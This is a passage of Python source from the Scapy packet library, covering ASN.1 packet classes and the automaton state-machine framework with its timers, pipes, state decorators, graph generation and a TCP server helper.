packets. """ holds_packets = 1 def i2m(self, pkt, val): # type: (ASN1_Packet, Any) -> bytes if hasattr(val, "ASN1_root"): val = ASN1_STRING(bytes(val)) return super(ASN1F_STRING_PacketField, self).i2m(pkt, val) def any2i(self, pkt, x): # type: (ASN1_Packet, Any) -> Any if hasattr(x, "add_underlayer"): x.add_underlayer(pkt) return super(ASN1F_STRING_PacketField, self).any2i(pkt, x) class ASN1F_STRING_ENCAPS(ASN1F_STRING_PacketField): """ ASN1F_STRING that encapsulates a single ASN1 packet. """ def __init__(self, name, # type: str default, # type: Optional[ASN1_Packet] cls, # type: Type[ASN1_Packet] context=None, # type: Optional[Any] implicit_tag=None, # type: Optional[int] explicit_tag=None, # type: Optional[int] ): # type: (...) -> None self.cls = cls super(ASN1F_STRING_ENCAPS, self).__init__( name, default and bytes(default), # type: ignore context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag ) def m2i(self, pkt, s): # type: ignore # type: (ASN1_Packet, bytes) -> Tuple[ASN1_Packet, bytes] val = super(ASN1F_STRING_ENCAPS, self).m2i(pkt, s) return self.cls(val[0].val, _underlayer=pkt), val[1] ================================================ FILE: scapy/asn1packet.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ ASN.1 Packet Packet holding data in Abstract Syntax Notation (ASN.1). """ from scapy.base_classes import Packet_metaclass from scapy.packet import Packet from typing import ( Any, Dict, Tuple, Type, cast, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.asn1fields import ASN1F_field # noqa: F401 class ASN1Packet_metaclass(Packet_metaclass): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[ASN1_Packet] if dct["ASN1_root"] is not None: dct["fields_desc"] = dct["ASN1_root"].get_fields_list() return cast( 'Type[ASN1_Packet]', super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct), ) class ASN1_Packet(Packet, metaclass=ASN1Packet_metaclass): ASN1_root = cast('ASN1F_field[Any, Any]', None) ASN1_codec = None def self_build(self): # type: () -> bytes if self.raw_packet_cache is not None: return self.raw_packet_cache return self.ASN1_root.build(self) def do_dissect(self, x): # type: (bytes) -> bytes return self.ASN1_root.dissect(self, x) ================================================ FILE: scapy/automaton.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter """ Automata with states, transitions and actions. TODO: - add documentation for ioevent, as_supersocket... """ import ctypes import itertools import logging import os import random import socket import sys import threading import time import traceback import types import select from collections import deque from scapy.config import conf from scapy.consts import WINDOWS from scapy.data import MTU from scapy.error import log_runtime, warning from scapy.interfaces import _GlobInterfaceType from scapy.packet import Packet from scapy.plist import PacketList from scapy.supersocket import SuperSocket, StreamSocket from scapy.utils import do_graph # Typing imports from typing import ( Any, Callable, Deque, Dict, Generic, Iterable, Iterator, List, Optional, Set, Tuple, Type, TypeVar, Union, cast, ) from scapy.compat import DecoratorCallable # winsock.h FD_READ = 0x00000001 def select_objects(inputs, remain): # type: (Iterable[Any], Union[float, int, None]) -> List[Any] """ Select objects. Same than: ``select.select(inputs, [], [], remain)`` But also works on Windows, only on objects whose fileno() returns a Windows event. For simplicity, just use `ObjectPipe()` as a queue that you can select on whatever the platform is. If you want an object to be always included in the output of select_objects (i.e. it's not selectable), just make fileno() return a strictly negative value. Example: >>> a, b = ObjectPipe("a"), ObjectPipe("b") >>> b.send("test") >>> select_objects([a, b], 1) [b] :param inputs: objects to process :param remain: timeout. If 0, poll. If None, block. """ if not WINDOWS: return select.select(inputs, [], [], remain)[0] inputs = list(inputs) events = [] created = [] results = set() for i in inputs: if getattr(i, "__selectable_force_select__", False): # Native socket.socket object. We would normally use select.select. evt = ctypes.windll.ws2_32.WSACreateEvent() created.append(evt) res = ctypes.windll.ws2_32.WSAEventSelect( ctypes.c_void_p(i.fileno()), evt, FD_READ ) if res == 0: # Was a socket events.append(evt) else: # Fallback to normal event events.append(i.fileno()) elif i.fileno() < 0: # Special case: On Windows, we consider that an object that returns # a negative fileno (impossible), is always readable. This is used # in very few places but important (e.g. PcapReader), where we have # no valid fileno (and will stop on EOFError). results.add(i) remain = 0 else: events.append(i.fileno()) if events: # 0xFFFFFFFF = INFINITE remainms = int(remain * 1000 if remain is not None else 0xFFFFFFFF) if len(events) == 1: res = ctypes.windll.kernel32.WaitForSingleObject( ctypes.c_void_p(events[0]), remainms ) else: # Sadly, the only way to emulate select() is to first check # if any object is available using WaitForMultipleObjects # then poll the others. res = ctypes.windll.kernel32.WaitForMultipleObjects( len(events), (ctypes.c_void_p * len(events))( *events ), False, remainms ) if res != 0xFFFFFFFF and res != 0x00000102: # Failed or Timeout results.add(inputs[res]) if len(events) > 1: # Now poll the others, if any for i, evt in enumerate(events): res = ctypes.windll.kernel32.WaitForSingleObject( ctypes.c_void_p(evt), 0 # poll: don't wait ) if res == 0: results.add(inputs[i]) # Cleanup created events, if any for evt in created: ctypes.windll.ws2_32.WSACloseEvent(evt) return list(results) _T = TypeVar("_T") class ObjectPipe(Generic[_T]): def __init__(self, name=None): # type: (Optional[str]) -> None self.name = name or "ObjectPipe" self.closed = False self.__rd, self.__wr = os.pipe() self.__queue = deque() # type: Deque[_T] if WINDOWS: self._wincreate() if WINDOWS: def _wincreate(self): # type: () -> None self._fd = cast(int, ctypes.windll.kernel32.CreateEventA( None, True, False, ctypes.create_string_buffer(b"ObjectPipe %f" % random.random()) )) def _winset(self): # type: () -> None if ctypes.windll.kernel32.SetEvent(ctypes.c_void_p(self._fd)) == 0: warning(ctypes.FormatError(ctypes.GetLastError())) def _winreset(self): # type: () -> None if ctypes.windll.kernel32.ResetEvent(ctypes.c_void_p(self._fd)) == 0: warning(ctypes.FormatError(ctypes.GetLastError())) def _winclose(self): # type: () -> None if ctypes.windll.kernel32.CloseHandle(ctypes.c_void_p(self._fd)) == 0: warning(ctypes.FormatError(ctypes.GetLastError())) def fileno(self): # type: () -> int if WINDOWS: return self._fd return self.__rd def send(self, obj): # type: (_T) -> int self.__queue.append(obj) if WINDOWS: self._winset() os.write(self.__wr, b"X") return 1 def write(self, obj): # type: (_T) -> None self.send(obj) def empty(self): # type: () -> bool return not bool(self.__queue) def flush(self): # type: () -> None pass def recv(self, n=0, options=socket.MsgFlag(0)): # type: (Optional[int], socket.MsgFlag) -> Optional[_T] if self.closed: raise EOFError if options & socket.MSG_PEEK: if self.__queue: return self.__queue[0] return None os.read(self.__rd, 1) elt = self.__queue.popleft() if WINDOWS and not self.__queue: self._winreset() return elt def read(self, n=0): # type: (Optional[int]) -> Optional[_T] return self.recv(n) def clear(self): # type: () -> None if not self.closed: while not self.empty(): self.recv() def close(self): # type: () -> None if not self.closed: self.closed = True os.close(self.__rd) os.close(self.__wr) if WINDOWS: try: self._winclose() except ImportError: # Python is shutting down pass def __repr__(self): # type: () -> str return "<%s at %s>" % (self.name, id(self)) def __del__(self): # type: () -> None self.close() @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] # Only handle ObjectPipes results = [] for s in sockets: if s.closed: # allow read to trigger EOF results.append(s) if results: return results return select_objects(sockets, remain) class Message: type = None # type: str pkt = None # type: Packet result = None # type: str state = None # type: Message exc_info = None # type: Union[Tuple[None, None, None], Tuple[BaseException, Exception, types.TracebackType]] # noqa: E501 def __init__(self, **args): # type: (Any) -> None self.__dict__.update(args) def __repr__(self): # type: () -> str return "" % " ".join( "%s=%r" % (k, v) for k, v in self.__dict__.items() if not k.startswith("_") ) class Timer(): def __init__(self, time, prio=0, autoreload=False): # type: (Union[int, float], int, bool) -> None self._timeout = float(time) # type: float self._time = 0 # type: float self._just_expired = True self._expired = True self._prio = prio self._func = _StateWrapper() self._autoreload = autoreload def get(self): # type: () -> float return self._timeout def set(self, val): # type: (float) -> None self._timeout = val def _reset(self): # type: () -> None self._time = self._timeout self._expired = False self._just_expired = False def _reset_just_expired(self): # type: () -> None self._just_expired = False def _running(self): # type: () -> bool return self._time > 0 def _remaining(self): # type: () -> float return max(self._time, 0) def _decrement(self, time): # type: (float) -> None self._time -= time if self._time <= 0: if not self._expired: self._just_expired = True if self._autoreload: # take overshoot into account self._time = self._timeout + self._time else: self._expired = True self._time = 0 def __lt__(self, obj): # type: (Timer) -> bool return ((self._time < obj._time) if self._time != obj._time else (self._prio < obj._prio)) def __gt__(self, obj): # type: (Timer) -> bool return ((self._time > obj._time) if self._time != obj._time else (self._prio > obj._prio)) def __eq__(self, obj): # type: (Any) -> bool if not isinstance(obj, Timer): raise NotImplementedError() return (self._time == obj._time) and (self._prio == obj._prio) def __repr__(self): # type: () -> str return "" % (self._time, self._timeout) class _TimerList(): def __init__(self): # type: () -> None self.timers = [] # type: list[Timer] def add_timer(self, timer): # type: (Timer) -> None self.timers.append(timer) def reset(self): # type: () -> None for t in self.timers: t._reset() def decrement(self, time): # type: (float) -> None for t in self.timers: t._decrement(time) def expired(self): # type: () -> list[Timer] lst = [t for t in self.timers if t._just_expired] lst.sort(key=lambda x: x._prio, reverse=True) for t in lst: t._reset_just_expired() return lst def until_next(self): # type: () -> Optional[float] try: return min([t._remaining() for t in self.timers if t._running()]) except ValueError: return None # None means blocking def count(self): # type: () -> int return len(self.timers) def __iter__(self): # type: () -> Iterator[Timer] return self.timers.__iter__() def __repr__(self): # type: () -> str return self.timers.__repr__() class _instance_state: def __init__(self, instance): # type: (Any) -> None self.__self__ = instance.__self__ self.__func__ = instance.__func__ self.__self__.__class__ = instance.__self__.__class__ def __getattr__(self, attr): # type: (str) -> Any return getattr(self.__func__, attr) def __call__(self, *args, **kargs): # type: (Any, Any) -> Any return self.__func__(self.__self__, *args, **kargs) def breaks(self): # type: () -> Any return self.__self__.add_breakpoints(self.__func__) def intercepts(self): # type: () -> Any return self.__self__.add_interception_points(self.__func__) def unbreaks(self): # type: () -> Any return self.__self__.remove_breakpoints(self.__func__) def unintercepts(self): # type: () -> Any return self.__self__.remove_interception_points(self.__func__) ############## # Automata # ############## class _StateWrapper: __name__ = None # type: str atmt_type = None # type: str atmt_state = None # type: str atmt_initial = None # type: int atmt_final = None # type: int atmt_stop = None # type: int atmt_error = None # type: int atmt_origfunc = None # type: _StateWrapper atmt_prio = None # type: int atmt_as_supersocket = None # type: Optional[str] atmt_condname = None # type: str atmt_ioname = None # type: str atmt_timeout = None # type: Timer atmt_cond = None # type: Dict[str, int] __code__ = None # type: types.CodeType __call__ = None # type: Callable[..., ATMT.NewStateRequested] class ATMT: STATE = "State" ACTION = "Action" CONDITION = "Condition" RECV = "Receive condition" TIMEOUT = "Timeout condition" EOF = "EOF condition" IOEVENT = "I/O event" class NewStateRequested(Exception): def __init__(self, state_func, automaton, *args, **kargs): # type: (Any, ATMT, Any, Any) -> None self.func = state_func self.state = state_func.atmt_state self.initial = state_func.atmt_initial self.error = state_func.atmt_error self.stop = state_func.atmt_stop self.final = state_func.atmt_final Exception.__init__(self, "Request state [%s]" % self.state) self.automaton = automaton self.args = args self.kargs = kargs self.action_parameters() # init action parameters def action_parameters(self, *args, **kargs): # type: (Any, Any) -> ATMT.NewStateRequested self.action_args = args self.action_kargs = kargs return self def run(self): # type: () -> Any return self.func(self.automaton, *self.args, **self.kargs) def __repr__(self): # type: () -> str return "NewStateRequested(%s)" % self.state @staticmethod def state(initial=0, # type: int final=0, # type: int stop=0, # type: int error=0 # type: int ): # type: (...) -> Callable[[DecoratorCallable], DecoratorCallable] def deco(f, initial=initial, final=final): # type: (_StateWrapper, int, int) -> _StateWrapper f.atmt_type = ATMT.STATE f.atmt_state = f.__name__ f.atmt_initial = initial f.atmt_final = final f.atmt_stop = stop f.atmt_error = error def _state_wrapper(self, *args, **kargs): # type: (ATMT, Any, Any) -> ATMT.NewStateRequested return ATMT.NewStateRequested(f, self, *args, **kargs) state_wrapper = cast(_StateWrapper, _state_wrapper) state_wrapper.__name__ = "%s_wrapper" % f.__name__ state_wrapper.atmt_type = ATMT.STATE state_wrapper.atmt_state = f.__name__ state_wrapper.atmt_initial = initial state_wrapper.atmt_final = final state_wrapper.atmt_stop = stop state_wrapper.atmt_error = error state_wrapper.atmt_origfunc = f return state_wrapper return deco # type: ignore @staticmethod def action(cond, prio=0): # type: (Any, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper] # noqa: E501 def deco(f, cond=cond): # type: (_StateWrapper, _StateWrapper) -> _StateWrapper if not hasattr(f, "atmt_type"): f.atmt_cond = {} f.atmt_type = ATMT.ACTION f.atmt_cond[cond.atmt_condname] = prio return f return deco @staticmethod def condition(state, prio=0): # type: (Any, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper] # noqa: E501 def deco(f, state=state): # type: (_StateWrapper, _StateWrapper) -> Any f.atmt_type = ATMT.CONDITION f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def receive_condition(state, prio=0): # type: (_StateWrapper, int) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper] # noqa: E501 def deco(f, state=state): # type: (_StateWrapper, _StateWrapper) -> _StateWrapper f.atmt_type = ATMT.RECV f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def ioevent(state, # type: _StateWrapper name, # type: str prio=0, # type: int as_supersocket=None # type: Optional[str] ): # type: (...) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper] # noqa: E501 def deco(f, state=state): # type: (_StateWrapper, _StateWrapper) -> _StateWrapper f.atmt_type = ATMT.IOEVENT f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_ioname = name f.atmt_prio = prio f.atmt_as_supersocket = as_supersocket return f return deco @staticmethod def timeout(state, timeout): # type: (_StateWrapper, Union[int, float]) -> Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper] # noqa: E501 def deco(f, state=state, timeout=Timer(timeout)): # type: (_StateWrapper, _StateWrapper, Timer) -> _StateWrapper f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_timeout._func = f f.atmt_condname = f.__name__ return f return deco @staticmethod def timer(state, timeout, prio=0): # type: (_StateWrapper, Union[float, int], int) -> Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper] # noqa: E501 def deco(f, state=state, timeout=Timer(timeout, prio=prio, autoreload=True)): # type: (_StateWrapper, _StateWrapper, Timer) -> _StateWrapper f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_timeout._func = f f.atmt_condname = f.__name__ return f return deco @staticmethod def eof(state): # type: (_StateWrapper) -> Callable[[_StateWrapper, _StateWrapper], _StateWrapper] # noqa: E501 def deco(f, state=state): # type: (_StateWrapper, _StateWrapper) -> _StateWrapper f.atmt_type = ATMT.EOF f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ return f return deco class _ATMT_Command: RUN = "RUN" NEXT = "NEXT" FREEZE = "FREEZE" STOP = "STOP" FORCESTOP = "FORCESTOP" END = "END" EXCEPTION = "EXCEPTION" SINGLESTEP = "SINGLESTEP" BREAKPOINT = "BREAKPOINT" INTERCEPT = "INTERCEPT" ACCEPT = "ACCEPT" REPLACE = "REPLACE" REJECT = "REJECT" class _ATMT_supersocket(SuperSocket): def __init__(self, name, # type: str ioevent, # type: str automaton, # type: Type[Automaton] proto, # type: Callable[[bytes], Any] *args, # type: Any **kargs # type: Any ): # type: (...) -> None self.name = name self.ioevent = ioevent self.proto = proto # write, read self.spa, self.spb = ObjectPipe[Any]("spa"), \ ObjectPipe[Any]("spb") kargs["external_fd"] = {ioevent: (self.spa, self.spb)} kargs["is_atmt_socket"] = True kargs["atmt_socket"] = self.name self.atmt = automaton(*args, **kargs) self.atmt.runbg() def send(self, s): # type: (Any) -> int return self.spa.send(s) def fileno(self): # type: () -> int return self.spb.fileno() # note: _ATMT_supersocket may return bytes in certain cases, which # is expected. We cheat on typing. def recv(self, n=MTU, **kwargs): # type: ignore # type: (int, **Any) -> Any r = self.spb.recv(n) if self.proto is not None and r is not None: r = self.proto(r, **kwargs) return r def close(self): # type: () -> None if not self.closed: self.atmt.stop() self.atmt.destroy() self.spa.close() self.spb.close() self.closed = True @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] return select_objects(sockets, remain) class _ATMT_to_supersocket: def __init__(self, name, ioevent, automaton): # type: (str, str, Type[Automaton]) -> None self.name = name self.ioevent = ioevent self.automaton = automaton def __call__(self, proto, *args, **kargs): # type: (Callable[[bytes], Any], Any, Any) -> _ATMT_supersocket return _ATMT_supersocket( self.name, self.ioevent, self.automaton, proto, *args, **kargs ) class Automaton_metaclass(type): def __new__(cls, name, bases, dct): # type: (str, Tuple[Any], Dict[str, Any]) -> Type[Automaton] cls = super(Automaton_metaclass, cls).__new__( # type: ignore cls, name, bases, dct ) cls.states = {} cls.recv_conditions = {} # type: Dict[str, List[_StateWrapper]] cls.conditions = {} # type: Dict[str, List[_StateWrapper]] cls.ioevents = {} # type: Dict[str, List[_StateWrapper]] cls.timeout = {} # type: Dict[str, _TimerList] cls.eofs = {} # type: Dict[str, _StateWrapper] cls.actions = {} # type: Dict[str, List[_StateWrapper]] cls.initial_states = [] # type: List[_StateWrapper] cls.stop_state = None # type: Optional[_StateWrapper] cls.ionames = [] cls.iosupersockets = [] members = {} classes = [cls] while classes: c = classes.pop(0) # order is important to avoid breaking method overloading # noqa: E501 classes += list(c.__bases__) for k, v in c.__dict__.items(): # type: ignore if k not in members: members[k] = v decorated = [v for v in members.values() if hasattr(v, "atmt_type")] for m in decorated: if m.atmt_type == ATMT.STATE: s = m.atmt_state cls.states[s] = m cls.recv_conditions[s] = [] cls.ioevents[s] = [] cls.conditions[s] = [] cls.timeout[s] = _TimerList() if m.atmt_initial: cls.initial_states.append(m) if m.atmt_stop: if cls.stop_state is not None: raise ValueError("There can only be a single stop state !") cls.stop_state = m elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT, ATMT.EOF]: # noqa: E501 cls.actions[m.atmt_condname] = [] for m in decorated: if m.atmt_type == ATMT.CONDITION: cls.conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.RECV: cls.recv_conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.EOF: cls.eofs[m.atmt_state] = m elif m.atmt_type == ATMT.IOEVENT: cls.ioevents[m.atmt_state].append(m) cls.ionames.append(m.atmt_ioname) if m.atmt_as_supersocket is not None: cls.iosupersockets.append(m) elif m.atmt_type == ATMT.TIMEOUT: cls.timeout[m.atmt_state].add_timer(m.atmt_timeout) elif m.atmt_type == ATMT.ACTION: for co in m.atmt_cond: cls.actions[co].append(m) for v in itertools.chain( cls.conditions.values(), cls.recv_conditions.values(), cls.ioevents.values() ): v.sort(key=lambda x: x.atmt_prio) for condname, actlst in cls.actions.items(): actlst.sort(key=lambda x: x.atmt_cond[condname]) for ioev in cls.iosupersockets: setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket( ioev.atmt_as_supersocket, ioev.atmt_ioname, cast(Type["Automaton"], cls))) # Inject signature try: import inspect cls.__signature__ = inspect.signature(cls.parse_args) # type: ignore # noqa: E501 except (ImportError, AttributeError): pass return cast(Type["Automaton"], cls) def build_graph(self): # type: () -> str s = 'digraph "%s" {\n' % self.__class__.__name__ se = "" # Keep initial nodes at the beginning for better rendering for st in self.states.values(): if st.atmt_initial: se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state) + se # noqa: E501 elif st.atmt_final: se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state # noqa: E501 elif st.atmt_error: se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state # noqa: E501 elif st.atmt_stop: se += '\t"%s" [ style=filled, fillcolor=orange, shape=box, root=true ];\n' % st.atmt_state # noqa: E501 s += se for st in self.states.values(): names = list( st.atmt_origfunc.__code__.co_names + st.atmt_origfunc.__code__.co_consts ) while names: n = names.pop() if n in self.states: s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state, n) elif n in self.__dict__: # function indirection if callable(self.__dict__[n]): names.extend(self.__dict__[n].__code__.co_names) names.extend(self.__dict__[n].__code__.co_consts) for c, sty, k, v in ( [("purple", "solid", k, v) for k, v in self.conditions.items()] + [("red", "solid", k, v) for k, v in self.recv_conditions.items()] + [("orange", "solid", k, v) for k, v in self.ioevents.items()] + [("black", "dashed", k, [v]) for k, v in self.eofs.items()] ): for f in v: names = list(f.__code__.co_names + f.__code__.co_consts) while names: n = names.pop() if n in self.states: line = f.atmt_condname for x in self.actions[f.atmt_condname]: line += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s", color=%s, style=%s];\n' % ( k, n, line, c, sty, ) elif n in self.__dict__: # function indirection if callable(self.__dict__[n]) and hasattr(self.__dict__[n], "__code__"): # noqa: E501 names.extend(self.__dict__[n].__code__.co_names) names.extend(self.__dict__[n].__code__.co_consts) for k, timers in self.timeout.items(): for timer in timers: for n in (timer._func.__code__.co_names + timer._func.__code__.co_consts): if n in self.states: line = "%s/%.1fs" % (timer._func.atmt_condname, timer.get()) for x in self.actions[timer._func.atmt_condname]: line += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k, n, line) # noqa: E501 s += "}\n" return s def graph(self, **kargs): # type: (Any) -> Optional[str] s = self.build_graph() return do_graph(s, **kargs) class Automaton(metaclass=Automaton_metaclass): states = {} # type: Dict[str, _StateWrapper] state = None # type: ATMT.NewStateRequested recv_conditions = {} # type: Dict[str, List[_StateWrapper]] conditions = {} # type: Dict[str, List[_StateWrapper]] eofs = {} # type: Dict[str, _StateWrapper] ioevents = {} # type: Dict[str, List[_StateWrapper]] timeout = {} # type: Dict[str, _TimerList] actions = {} # type: Dict[str, List[_StateWrapper]] initial_states = [] # type: List[_StateWrapper] stop_state = None # type: Optional[_StateWrapper] ionames = [] # type: List[str] iosupersockets = [] # type: List[SuperSocket] # used for spawn() pkt_cls = conf.raw_layer socketcls = StreamSocket # Internals def __init__(self, *args, **kargs): # type: (Any, Any) -> None external_fd = kargs.pop("external_fd", {}) if "sock" in kargs: # We use a bi-directional sock self.sock = kargs["sock"] else: # Separate sockets self.sock = None self.send_sock_class = kargs.pop("ll", conf.L3socket) self.recv_sock_class = kargs.pop("recvsock", conf.L2listen) self.listen_sock = None # type: Optional[SuperSocket] self.send_sock = None # type: Optional[SuperSocket] self.is_atmt_socket = kargs.pop("is_atmt_socket", False) self.atmt_socket = kargs.pop("atmt_socket", None) self.started = threading.Lock() self.threadid = None # type: Optional[int] self.breakpointed = None self.breakpoints = set() # type: Set[_StateWrapper] self.interception_points = set() # type: Set[_StateWrapper] self.intercepted_packet = None # type: Union[None, Packet] self.debug_level = 0 self.init_args = args self.init_kargs = kargs self.io = type.__new__(type, "IOnamespace", (), {}) self.oi = type.__new__(type, "IOnamespace", (), {}) self.cmdin = ObjectPipe[Message]("cmdin") self.cmdout = ObjectPipe[Message]("cmdout") self.ioin = {} self.ioout = {} self.packets = PacketList() # type: PacketList self.atmt_session = kargs.pop("session", None) for n in self.__class__.ionames: extfd = external_fd.get(n) if not isinstance(extfd, tuple): extfd = (extfd, extfd) ioin, ioout = extfd if ioin is None: ioin = ObjectPipe("ioin") else: ioin = self._IO_fdwrapper(ioin, None) if ioout is None: ioout = ObjectPipe("ioout") else: ioout = self._IO_fdwrapper(None, ioout) self.ioin[n] = ioin self.ioout[n] = ioout ioin.ioname = n ioout.ioname = n setattr(self.io, n, self._IO_mixer(ioout, ioin)) setattr(self.oi, n, self._IO_mixer(ioin, ioout)) for stname in self.states: setattr(self, stname, _instance_state(getattr(self, stname))) self.start() def parse_args(self, debug=0, store=0, session=None, **kargs): # type: (int, int, Any, Any) -> None self.debug_level = debug if debug: conf.logLevel = logging.DEBUG self.atmt_session = session self.socket_kargs = kargs self.store_packets = store @classmethod def spawn(cls, port: int, iface: Optional[_GlobInterfaceType] = None, local_ip: Optional[str] = None, bg: bool = False, **kwargs: Any) -> Optional[socket.socket]: """ Spawn a TCP server that listens for connections and start the automaton for each new client. :param port: the port to listen to :param bg: background mode? (default: False) Note that in background mode, you shall close the TCP server as such:: srv = MyAutomaton.spawn(8080, bg=True) srv.shutdown(socket.SHUT_RDWR) # important srv.close() """ from scapy.arch import get_if_addr # create server sock and bind it ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if local_ip is None: local_ip = get_if_addr(iface or conf.iface) try: ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) except OSError: pass ssock.bind((local_ip, port)) ssock.listen(5) clients = [] if kwargs.get("verb", True): print(conf.color_theme.green( "Server %s started listening on %s" % ( cls.__name__, (local_ip, port), ) )) def _run() -> None: # Wait for clients forever try: while True: atmt_server = None clientsocket, address = ssock.accept() if kwargs.get("verb", True): print(conf.color_theme.gold( "\u2503 Connection received from %s" % repr(address) )) try: # Start atmt class with socket if cls.socketcls is not None: sock = cls.socketcls(clientsocket, cls.pkt_cls) else: sock = clientsocket atmt_server = cls( sock=sock, iface=iface, **kwargs ) except OSError: if atmt_server is not None: atmt_server.destroy() if kwargs.get("verb", True): print("X Connection aborted.") if kwargs.get("debug", 0) > 0: traceback.print_exc() continue clients.append((atmt_server, clientsocket)) # start atmt atmt_server.runbg() # housekeeping for atmt, clientsocket in clients: if not atmt.isrunning(): atmt.destroy() except KeyboardInterrupt: print("X Exiting.") ssock.shutdown(socket.SHUT_RDWR) except OSError: print("X Server closed.") if kwargs.get("debug", 0) > 0: traceback.print_exc() finally: for atmt, clientsocket in clients: try: atmt.forcestop(wait=False) atmt.destroy() except Exception: pass try: clientsocket.shutdown(socket.SHUT_RDWR) clientsocket.close() except Exception: pass ssock.close() if bg: # Background threading.Thread(target=_run).start() return ssock else: # Non-background _run() return None def master_filter(self, pkt): # type: (Packet) -> bool return True def my_send(self, pkt, **kwargs): # type: (Packet, **Any) -> None if not self.send_sock: raise ValueError("send_sock is None !") self.send_sock.send(pkt, **kwargs) def update_sock(self, sock): # type: (SuperSocket) -> None """ Update the socket used by the automata. Typically used in an eof event to reconnect. """ self.sock = sock if self.listen_sock is not None: self.listen_sock = self.sock if self.send_sock: self.send_sock = self.sock def timer_by_name(self, name): # type: (str) -> Optional[Timer] for _, timers in self.timeout.items(): for timer in timers: # type: Timer if timer._func.atmt_condname == name: return timer return None # Utility classes and exceptions class _IO_fdwrapper: def __init__(self, rd, # type: Union[int, ObjectPipe[bytes], None] wr # type: Union[int, ObjectPipe[bytes], None] ): # type: (...) -> None self.rd = rd self.wr = wr if isinstance(self.rd, socket.socket): self.__selectable_force_select__ = True def fileno(self): # type: () -> int if isinstance(self.rd, int): return self.rd elif self.rd: return self.rd.fileno() return 0 def read(self, n=65535): # type: (int) -> Optional[bytes] if isinstance(self.rd, int): return os.read(self.rd, n) elif self.rd: return self.rd.recv(n) return None def write(self, msg): # type: (bytes) -> int if isinstance(self.wr, int): return os.write(self.wr, msg) elif self.wr: return self.wr.send(msg) return 0 def recv(self, n=65535): # type: (int) -> Optional[bytes] return self.read(n) def send(self, msg): # type: (bytes) -> int return self.write(msg) class _IO_mixer: def __init__(self, rd, # type: ObjectPipe[Any] wr, # type: ObjectPipe[Any] ): # type: (...) -> None self.rd = rd self.wr = wr def fileno(self): # type: () -> Any if isinstance(self.rd, ObjectPipe): return self.rd.fileno() return self.rd def recv(self, n=None): # type: (Optional[int]) -> Any return self.rd.recv(n) def read(self, n=None): # type: (Optional[int]) -> Any return self.recv(n) def send(self, msg): # type: (str) -> int return self.wr.send(msg) def write(self, msg): # type: (str) -> int return self.send(msg) class AutomatonException(Exception): def __init__(self, msg, state=None, result=None): # type: (str, Optional[Message], Optional[str]) -> None Exception.__init__(self, msg) self.state = state self.result = result class AutomatonError(AutomatonException): pass class ErrorState(AutomatonException): pass class Stuck(AutomatonException): pass class AutomatonStopped(AutomatonException): pass class Breakpoint(AutomatonStopped): pass class Singlestep(AutomatonStopped): pass class InterceptionPoint(AutomatonStopped): def __init__(self, msg, state=None, result=None, packet=None): # type: (str, Optional[Message], Optional[str], Optional[Packet]) -> None Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) self.packet = packet class CommandMessage(AutomatonException): pass # Services def debug(self, lvl, msg): # type: (int, str) -> None if self.debug_level >= lvl: log_runtime.debug(msg) def isrunning(self): # type: () -> bool return self.started.locked() def send(self, pkt, **kwargs): # type: (Packet, **Any) -> None if self.state.state in self.interception_points: self.debug(3, "INTERCEPT: packet intercepted: %s" % pkt.summary()) self.intercepted_packet = pkt self.cmdout.send( Message(type=_ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) ) cmd = self.cmdin.recv() if not cmd: self.debug(3, "CANCELLED") return self.intercepted_packet = None if cmd.type == _ATMT_Command.REJECT: self.debug(3, "INTERCEPT: packet rejected") return elif cmd.type == _ATMT_Command.REPLACE: pkt = cmd.pkt self.debug(3, "INTERCEPT: packet replaced by: %s" % pkt.summary()) # noqa: E501 elif cmd.type == _ATMT_Command.ACCEPT: self.debug(3, "INTERCEPT: packet accepted") else: raise self.AutomatonError("INTERCEPT: unknown verdict: %r" % cmd.type) # noqa: E501 self.my_send(pkt, **kwargs) self.debug(3, "SENT : %s" % pkt.summary()) if self.store_packets: self.packets.append(pkt.copy()) def __iter__(self): # type: () -> Automaton return self def __del__(self): # type: () -> None self.destroy() def _run_condition(self, cond, *args, **kargs): # type: 